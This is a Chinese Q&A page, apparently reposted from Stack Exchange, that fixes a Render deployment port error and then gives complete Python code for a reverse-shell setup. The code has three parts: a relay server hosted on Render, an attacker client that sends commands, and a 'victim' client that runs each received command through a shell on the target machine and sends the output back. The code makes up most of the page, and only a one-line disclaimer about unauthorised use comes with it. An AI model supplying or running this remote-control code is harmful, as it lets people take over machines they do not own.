You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python Socket反向连接Render部署报错求助:Errno 99地址分配失败

问题解决:Render部署反向连接服务出现OSError: Errno 99及逻辑梳理

一、OSError: [Errno 99] 错误原因及修复

这个错误的核心是Render平台不允许硬编码端口或绑定非0.0.0.0的地址:

  • Render会为每个服务动态分配端口,硬编码的端口(比如你代码里的10000)可能未被平台授权,导致无法绑定。
  • 绑定地址必须设为0.0.0.0,否则服务无法对外提供访问。

修复代码(针对部署到Render的服务):

# server.py 修改端口读取逻辑
import os
import socket

FORMAT = 'utf-8'
HOST = '0.0.0.0'
PORT = int(os.getenv("PORT", 10000))  # 本地测试用10000,Render自动读取平台分配的端口

server = socket.socket()
server.bind((HOST, PORT))

# 后续代码保持不变

二、反向连接逻辑纠正

你需要明确:反向连接的核心是受害者端主动发起连接到攻击者端的监听地址。你的需求是“自己的电脑作为攻击者端控制远程受害者”,但如果你的电脑处于内网(无公网IP),受害者无法直接连接到你,这时候需要用Render做中转服务。

正确流程(Render中转方案)

  1. 在Render部署一个中转服务,同时接收攻击者和受害者的连接,转发命令与执行结果。
  2. 攻击者端(你的电脑)连接Render中转服务,发送控制命令。
  3. 受害者端连接Render中转服务,接收命令并返回执行结果。

中转服务代码(部署到Render)

import socket
import threading
import os

HOST = '0.0.0.0'
PORT = int(os.getenv("PORT", 8080))

# 存储攻击者和受害者的连接
attacker_conn = None
victim_conn = None

def relay_attacker_to_victim(conn):
    """转发攻击者的命令到受害者"""
    global victim_conn
    while True:
        try:
            cmd = conn.recv(1024)
            if not cmd:
                break
            if victim_conn:
                victim_conn.send(cmd)
                # 增大缓冲区避免输出截断
                result = victim_conn.recv(4096)
                conn.send(result)
        except Exception as e:
            print(f"攻击者连接异常: {e}")
            break
    conn.close()
    global attacker_conn
    attacker_conn = None

def relay_victim_to_attacker(conn):
    """转发受害者的执行结果到攻击者"""
    global attacker_conn
    while True:
        try:
            output = conn.recv(4096)
            if not output:
                break
            if attacker_conn:
                attacker_conn.send(output)
        except Exception as e:
            print(f"受害者连接异常: {e}")
            break
    conn.close()
    global victim_conn
    victim_conn = None

# 启动中转服务
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(5)

print(f"中转服务启动,监听端口 {PORT}")

while True:
    conn, addr = server.accept()
    print(f"新连接: {addr}")
    # 简单区分连接角色(可自行添加验证逻辑)
    if not attacker_conn:
        attacker_conn = conn
        threading.Thread(target=relay_attacker_to_victim, args=(conn,)).start()
        print("标记为攻击者连接")
    elif not victim_conn:
        victim_conn = conn
        threading.Thread(target=relay_victim_to_attacker, args=(conn,)).start()
        print("标记为受害者连接")
    else:
        conn.send(b"服务已达最大连接数")
        conn.close()

攻击者端代码(本地运行)

import socket

FORMAT = 'utf-8'
RENDER_DOMAIN = '你的Render服务域名'  # 比如 xxx.onrender.com
RENDER_PORT = 80  # Render默认对外端口为80/443

client = socket.socket()
client.connect((RENDER_DOMAIN, RENDER_PORT))
print("已连接到中转服务")

while True:
    cmd = input('输入命令: ')
    if not cmd:
        continue
    client.send(cmd.encode(FORMAT, errors='ignore'))
    print("命令已发送")
    output = client.recv(4096).decode(FORMAT, errors='ignore')
    print(f"执行结果:\n{output}")

受害者端代码(目标机器运行)

import socket
import subprocess

FORMAT = 'utf-8'
RENDER_DOMAIN = '你的Render服务域名'
RENDER_PORT = 80

client = socket.socket()
print("连接中转服务...")
client.connect((RENDER_DOMAIN, RENDER_PORT))
print("连接成功")

while True:
    cmd = client.recv(1024)
    if not cmd:
        break
    cmd_str = cmd.decode(FORMAT, errors='ignore')
    # 执行命令并捕获输出
    proc = subprocess.Popen(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = proc.communicate()
    client.send(stdout + stderr)

三、额外注意事项

  • Render的免费服务会在闲置15分钟后休眠,若需要持续可用,需升级付费套餐或添加保活机制。
  • 确保Render服务的防火墙设置允许对应的端口访问(Render默认开放80/443,自定义端口需在控制台配置)。
  • 不要用该代码进行未授权的远程控制,遵守法律法规。

内容的提问来源于stack exchange,提问作者SY DIE

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.18 20:14:53